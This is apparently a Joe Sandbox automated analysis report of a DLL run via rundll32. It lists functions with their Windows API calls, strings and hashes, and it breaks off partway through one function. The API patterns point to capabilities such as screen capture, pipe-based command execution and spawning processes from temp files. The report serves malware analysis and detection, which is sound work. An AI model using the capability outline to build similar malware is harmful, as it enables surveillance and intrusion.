Opcode ID: a0e63b19bc7910238b358a06483358d207d4f0b4b68c84cd2e029b785d97e623
Instruction ID: b21608b6ebc04d76040bbed922edeb6cf8bd14e9ba285dcd09895736a379e2b5
Opcode Fuzzy Hash: a0e63b19bc7910238b358a06483358d207d4f0b4b68c84cd2e029b785d97e623
Instruction Fuzzy Hash: 8C71F63260CA8182E720DB96E4807AFB7A8FBC5794F100179EA8D43A79DFBDD544CB40

Function 00007FFE11501B70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFE11501BB9
GetProcAddress.KERNEL32 ref: 00007FFE11501BE9
GlobalMemoryStatusEx.KERNELBASE ref: 00007FFE11501C0B

Strings

@, xrefs: 00007FFE11501BFE

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressGlobalHandleMemoryModuleProcStatus
String ID: @
API String ID: 2450578220-2766056989
Opcode ID: 5a9844992750ecd458e2b383ff26373545e98ae454aa3d0bdf05184a909415dd
Instruction ID: 6e895802555e263cb2a6838d5720bccaf757e83a806f04f3f9a29b6184a65c31
Opcode Fuzzy Hash: 5a9844992750ecd458e2b383ff26373545e98ae454aa3d0bdf05184a909415dd
Instruction Fuzzy Hash: 4311FE32618E8186E760DB62F85536EB7A4FBC8754F400179FACD42679DF7CD4448B00

Function 00007FFE11505000 Relevance: 6.0, APIs: 4, Instructions: 43
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 00007FFE1150503A
CreateMutexW.KERNELBASE ref: 00007FFE11505049
GetLastError.KERNEL32 ref: 00007FFE1150505C
CloseHandle.KERNEL32 ref: 00007FFE115050B7

Part of subcall function 00007FFE11509260: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE115092B5
Part of subcall function 00007FFE11509260: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE115092F3
Part of subcall function 00007FFE11509260: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150932A
Part of subcall function 00007FFE11509260: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE11509368
Part of subcall function 00007FFE11509260: GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150937F
Part of subcall function 00007FFE11509260: CommandLineToArgvW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150938D
Part of subcall function 00007FFE11509260: LocalFree.KERNEL32 ref: 00007FFE115093F2

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressCommandErrorLastLibraryLineLoadProc$ArgvCloseCreateFreeHandleLocalMutex
String ID:
API String ID: 1743422195-0
Opcode ID: 583719332c49e15a3f9299204943d45c8ddca9c3a94468d76afc3e38b5f171f5
Instruction ID: e0ee7b3fca2dd34c81964f06cc7a24f0e70bbd962bce8e0556447650e419066d
Opcode Fuzzy Hash: 583719332c49e15a3f9299204943d45c8ddca9c3a94468d76afc3e38b5f171f5
Instruction Fuzzy Hash: 3411FE3292CE4282E720EB62E45437E6379FB847A8F4005B9E98E42675DF3CD5448B41

Function 00007FFE11509A00 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 00007FFE11509A3D
dllmain_raw.LIBCMT ref: 00007FFE11509AB6
dllmain_raw.LIBCMT ref: 00007FFE11509AF8

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: dllmain_raw
String ID:
API String ID: 3813456430-0
Opcode ID: e3c5f061e975df4a223fc143aaab9d369895142f65f0d891aebea7ace007555a
Instruction ID: 623281d67ac815f7a3d39c2ad1c4e0c9e525b4900c27dd2adbc5fabb58146eb3
Opcode Fuzzy Hash: e3c5f061e975df4a223fc143aaab9d369895142f65f0d891aebea7ace007555a
Instruction Fuzzy Hash: 81318D21F0CE4242FB5096AB448017E65E95FC5BE0B1840BCED0D837BAFFBCE9428244

Function 00007FFE11501A80 Relevance: 4.5, APIs: 3, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11501AD3
GetProcAddress.KERNEL32 ref: 00007FFE11501B11
GetTempPathW.KERNEL32 ref: 00007FFE11501B32

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadPathProcTemp
String ID:
API String ID: 1686214323-0
Opcode ID: adb6b4d00b339c251d18baf7af4e288d6304fd83c2c02fd41bcd5d8de635a0e1
Instruction ID: 495d9e6f2be3ed3b76d4e0d096fd5b6dddd8727e88f27c3485e00ccc910244dd
Opcode Fuzzy Hash: adb6b4d00b339c251d18baf7af4e288d6304fd83c2c02fd41bcd5d8de635a0e1
Instruction Fuzzy Hash: B9213B3691DE81C5E760DB62E89437A73B8FB84764F4001B9EA8D466B4DF3CE444CB01

Function 00007FFE1150FA20 Relevance: 3.8, APIs: 3, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE1150F235,?,?,?,?,00007FFE1150E5BF,?,?,00000000,00007FFE1150F9C5,?,?,?), ref: 00007FFE1150FA2F
SetLastError.KERNEL32(?,?,?,00007FFE1150F235,?,?,?,?,00007FFE1150E5BF,?,?,00000000,00007FFE1150F9C5,?,?,?), ref: 00007FFE1150FA99
SetLastError.KERNEL32(?,?,?,00007FFE1150F235,?,?,?,?,00007FFE1150E5BF,?,?,00000000,00007FFE1150F9C5,?,?,?), ref: 00007FFE1150FAA3

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 79c5636aeb9a70195001eef8bfab838ba4450b33627de5dca7391d2d6ea7290f
Instruction ID: b8545d4320e999c04060333b7ed065723d9ade43653efe54ef95ca46b74ccfe7
Opcode Fuzzy Hash: 79c5636aeb9a70195001eef8bfab838ba4450b33627de5dca7391d2d6ea7290f
Instruction Fuzzy Hash: 1F118E20F09E5283FB5AA7A3555413C62AE9F447F0F1005BED91E037F6EE6CE8418301

Function 00007FFE11501E00 Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FFE11501E45
FindCloseChangeNotification.KERNELBASE ref: 00007FFE11501E5D

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ChangeCloseCreateFindNotificationThread
String ID:
API String ID: 4060959955-0
Opcode ID: 71b8b0b6f66aa09b918a2002ed21724a191b18b371f1758d3ade0c485f45f7bd
Instruction ID: 8c7d03f4ea30bde69283846a5d5c56b7732b5d2d681d90242cc7e2cf2dddef5c
Opcode Fuzzy Hash: 71b8b0b6f66aa09b918a2002ed21724a191b18b371f1758d3ade0c485f45f7bd
Instruction Fuzzy Hash: D6F01472918B818AD350CF52E48835EBBA4FB883A4F500479FA8A42B78DF7CC484CB40

Function 00007FFE11506950 Relevance: 3.0, APIs: 2, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFE11506959
RtlAllocateHeap.NTDLL ref: 00007FFE1150696C

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 9329e4d84ccb99430093e794eead5b662097cfe0c186392e508571b5f5f7c090
Instruction ID: 773beb871a3079482184e336c4a3abbd712044a7542898004f5ae4519fd9e652
Opcode Fuzzy Hash: 9329e4d84ccb99430093e794eead5b662097cfe0c186392e508571b5f5f7c090
Instruction Fuzzy Hash: 6EC01264E25A4182DB046B62A4491596775FB89750F504078D98902734DD3CC0998B00

Function 00007FFE115157B0 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE115157E4

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ad834de6681e54c79edc797017fbf8dae2ed4ae770d08526102acd3bb7e72e1a
Instruction ID: 59d96bc363c74d8327a0620811770adfa735cb3338bb0b7939df8c974616f4ff
Opcode Fuzzy Hash: ad834de6681e54c79edc797017fbf8dae2ed4ae770d08526102acd3bb7e72e1a
Instruction Fuzzy Hash: 58115E32A2CF42D6F3119B92A44123D76AAFB413A8F6800B5EA8D477B1DF3CF9008700

Function 00007FFE1150E558 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FFE1150F9C5,?,?,?,00007FFE1150BB84,?,?,?,00007FFE1150CC91), ref: 00007FFE1150E5AD

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d202d867305b54c680245dbf04660641440753b6715bf975ef5052a3991603a
Instruction ID: 2db8398375ac1a7fe4690c4f7c9cb5e59645299b064c934165a107bbc7c99bd8
Opcode Fuzzy Hash: 9d202d867305b54c680245dbf04660641440753b6715bf975ef5052a3991603a
Instruction Fuzzy Hash: 32F06D44B09E1341FF5597F369212BD128E9F89BB0F2C58B9C80E863F2FE1DE4809210

Function 00007FFE11501F00 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?,?,?,00007FFE11501DE8), ref: 00007FFE11501F12

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fe412710fa9a1c2aba127212d301d3a02b7c2680fcf65a97a709af9942d7cfd2
Instruction ID: cad988e6647b22fc80136b654d4255fad5e019a2ef0b0aadca2b636435c17797
Opcode Fuzzy Hash: fe412710fa9a1c2aba127212d301d3a02b7c2680fcf65a97a709af9942d7cfd2
Instruction Fuzzy Hash: E7C04C51D0D943C6FB99179398D933C2169AB64321F9141FCD61D012F09F2C65D58A22

Non-executed Functions

Function 00007FFE11507F60 Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 274fileprocesslibraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11507FE5
GetProcAddress.KERNEL32 ref: 00007FFE11508026
GetTempPathW.KERNEL32 ref: 00007FFE1150804E
GetTempFileNameW.KERNEL32 ref: 00007FFE1150806E
DeleteFileW.KERNEL32 ref: 00007FFE1150807C
GetTempFileNameW.KERNEL32 ref: 00007FFE115080C9
DeleteFileW.KERNEL32 ref: 00007FFE115080D7
wcscpy.LIBCMT ref: 00007FFE1150813C
CreateProcessW.KERNEL32 ref: 00007FFE1150829C
CloseHandle.KERNEL32 ref: 00007FFE115082AE
CloseHandle.KERNEL32 ref: 00007FFE115082BC
DeleteFileW.KERNEL32 ref: 00007FFE115082D4
GetSystemDirectoryW.KERNEL32 ref: 00007FFE11508321
swprintf.LIBCMTD ref: 00007FFE11508371

Part of subcall function 00007FFE11501CC0: _vswprintf_s_l.LIBCONCRTD ref: 00007FFE11501CFE

Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE115026D5
Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE11502729

wcscat.LIBCMT ref: 00007FFE1150839B

Part of subcall function 00007FFE11506980: GetProcessHeap.KERNEL32 ref: 00007FFE11506989
Part of subcall function 00007FFE11506980: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FFE11506999

wcscat.LIBCMT ref: 00007FFE115083E9
CreateProcessW.KERNEL32 ref: 00007FFE11508447
CloseHandle.KERNEL32 ref: 00007FFE11508459
CloseHandle.KERNEL32 ref: 00007FFE11508467
DeleteFileW.KERNEL32 ref: 00007FFE1150847F
swprintf.LIBCMTD ref: 00007FFE115084FC
CreateProcessW.KERNEL32 ref: 00007FFE1150855A
CloseHandle.KERNEL32 ref: 00007FFE1150856C
CloseHandle.KERNEL32 ref: 00007FFE1150857A
DeleteFileW.KERNEL32 ref: 00007FFE11508592

Strings

%ls "%ls", xrefs: 00007FFE115084E8
h, xrefs: 00007FFE115084B4
dat, xrefs: 00007FFE1150805F
%ls\%ls "%ls",, xrefs: 00007FFE1150835D

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: File$CloseHandle$Delete$Process$CreateTemp$ByteCharMultiNameWideswprintfwcscat$AddressDirectoryHeapLanguagesLibraryLoadPathPreferredProcRestoreSystemThread_vswprintf_s_lwcscpy
String ID: %ls "%ls"$%ls\%ls "%ls",$dat$h
API String ID: 654103805-3870102533
Opcode ID: 8b3cb215889b0d371f3da684f6cdebf913241e7f9246b566288e5101e093d20b
Instruction ID: 5bfeff18365a4b7eab4a10a31c8e98c43e2627b559f18617558a419dbb7442a9
Opcode Fuzzy Hash: 8b3cb215889b0d371f3da684f6cdebf913241e7f9246b566288e5101e093d20b
Instruction Fuzzy Hash: E8F10632A1CE8285E760DB62E4547AFB3A9FBC5764F40407AD68D42AB9DF3CD548CB40

Function 00007FFE115070A0 Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 173libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11507145
GetProcAddress.KERNEL32 ref: 00007FFE11507183
GetProcAddress.KERNEL32 ref: 00007FFE115071C7
GetProcAddress.KERNEL32 ref: 00007FFE1150720E
LoadLibraryW.KERNEL32 ref: 00007FFE1150724E
GetProcAddress.KERNEL32 ref: 00007FFE11507295
GetProcAddress.KERNEL32 ref: 00007FFE115072DC
GetProcAddress.KERNEL32 ref: 00007FFE11507323
GetProcAddress.KERNEL32 ref: 00007FFE1150736A
GetProcAddress.KERNEL32 ref: 00007FFE115073B1
GetDC.USER32 ref: 00007FFE115073CD
CreateCompatibleDC.GDI32 ref: 00007FFE115073E9
GetSystemMetrics.USER32 ref: 00007FFE11507402
GetSystemMetrics.USER32 ref: 00007FFE11507411
CreateCompatibleBitmap.GDI32 ref: 00007FFE11507429
SelectObject.GDI32 ref: 00007FFE11507446
BitBlt.GDI32 ref: 00007FFE11507485
DeleteObject.GDI32 ref: 00007FFE115074A3
DeleteObject.GDI32 ref: 00007FFE115074AE
ReleaseDC.USER32 ref: 00007FFE115074BB

Strings

, xrefs: 00007FFE1150744C

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$Object$CompatibleCreateDeleteLibraryLoadMetricsSystem$BitmapReleaseSelect
String ID:
API String ID: 1533257422-3916222277
Opcode ID: 4baea973d72330b54929f1745f4d6fd4273bb32029f5c8a4967c10ab87e99a1e
Instruction ID: c3e25ae1390aa10cab52ba181b76ae744336b63918ddce8ac9c8179a51cc1dca
Opcode Fuzzy Hash: 4baea973d72330b54929f1745f4d6fd4273bb32029f5c8a4967c10ab87e99a1e
Instruction Fuzzy Hash: A3B1C73290DF86C5E760ABA6F85436A73A9FB84764F0000B9D98D93675DF7CE488CB01

Function 00007FFE11502740 Relevance: 33.6, APIs: 16, Strings: 3, Instructions: 306pipesleepprocessCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32 ref: 00007FFE115027F5
SetHandleInformation.KERNEL32 ref: 00007FFE11502813

Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE115026D5
Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE11502729

swprintf.LIBCMTD ref: 00007FFE1150291D

Part of subcall function 00007FFE11501CC0: _vswprintf_s_l.LIBCONCRTD ref: 00007FFE11501CFE

GetCurrentDirectoryW.KERNEL32 ref: 00007FFE1150293C
CreateProcessW.KERNEL32 ref: 00007FFE11502992
WaitForSingleObject.KERNEL32 ref: 00007FFE115029AD

Part of subcall function 00007FFE11502E00: SetCurrentDirectoryW.KERNEL32 ref: 00007FFE11503032

PeekNamedPipe.KERNEL32 ref: 00007FFE115029F7
Sleep.KERNEL32 ref: 00007FFE11502A16
GetCurrentDirectoryW.KERNEL32 ref: 00007FFE11502A4B
ReadFile.KERNEL32 ref: 00007FFE11502B5F
MultiByteToWideChar.KERNEL32 ref: 00007FFE11502BB6
TerminateProcess.KERNEL32 ref: 00007FFE11502D79
CloseHandle.KERNEL32 ref: 00007FFE11502D87
CloseHandle.KERNEL32 ref: 00007FFE11502D95
CloseHandle.KERNEL32 ref: 00007FFE11502DBD
CloseHandle.KERNEL32 ref: 00007FFE11502DCB

Part of subcall function 00007FFE11506950: GetProcessHeap.KERNEL32 ref: 00007FFE11506959
Part of subcall function 00007FFE11506950: RtlAllocateHeap.NTDLL ref: 00007FFE1150696C

Strings

h, xrefs: 00007FFE11502843
$, xrefs: 00007FFE11502C5C
2, xrefs: 00007FFE11502A08

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Handle$Close$ByteCharCurrentDirectoryMultiProcessWide$CreateHeapPipe$AllocateFileInformationNamedObjectPeekReadSingleSleepTerminateWait_vswprintf_s_lswprintf
String ID: $$2$h
API String ID: 3838355756-1214087042
Opcode ID: 59938e374b416ba04519ddff59002b1483effda1c76f174347341531ffb64343
Instruction ID: 8678da5d2f6eac6f776046c8e1fb644484ef45b6360f1e12140913950971e542
Opcode Fuzzy Hash: 59938e374b416ba04519ddff59002b1483effda1c76f174347341531ffb64343
Instruction Fuzzy Hash: FB02F732608AC186E760DB56E4543AEB7A5FBC47A4F004179EA8D43BB9DF7CD489CB40

Function 00007FFE11513B40 Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FFE11513B89
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE11514202
memcpy_s.LIBCMT ref: 00007FFE11514BAF
memcpy_s.LIBCMT ref: 00007FFE11514C56

Part of subcall function 00007FFE11514EAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FFE11514EDE

memcpy_s.LIBCMT ref: 00007FFE11514D1F

Part of subcall function 00007FFE1150E4A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150E4C5

Strings

1#QNAN, xrefs: 00007FFE11514DD8
1#SNAN, xrefs: 00007FFE11514DB9
1#IND, xrefs: 00007FFE11514D9A
1#INF, xrefs: 00007FFE11514DF7

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: c0f935cb567f563a433567c347b6aa22b70d71aea3869bc0075b4a5acf723f8a
Instruction ID: 7ae0264016fedb8d51f03d6bcbcffe8b4a980bc37eb46c84cad40eb5ecdc378b
Opcode Fuzzy Hash: c0f935cb567f563a433567c347b6aa22b70d71aea3869bc0075b4a5acf723f8a
Instruction Fuzzy Hash: E8B21B72A089828BE7668E66D4407FD3BAAFB443ACF506135DA0957BB5DF3CE504CB00

Function 00007FFE1150ECD0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFE1150ED49
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE1150ED61
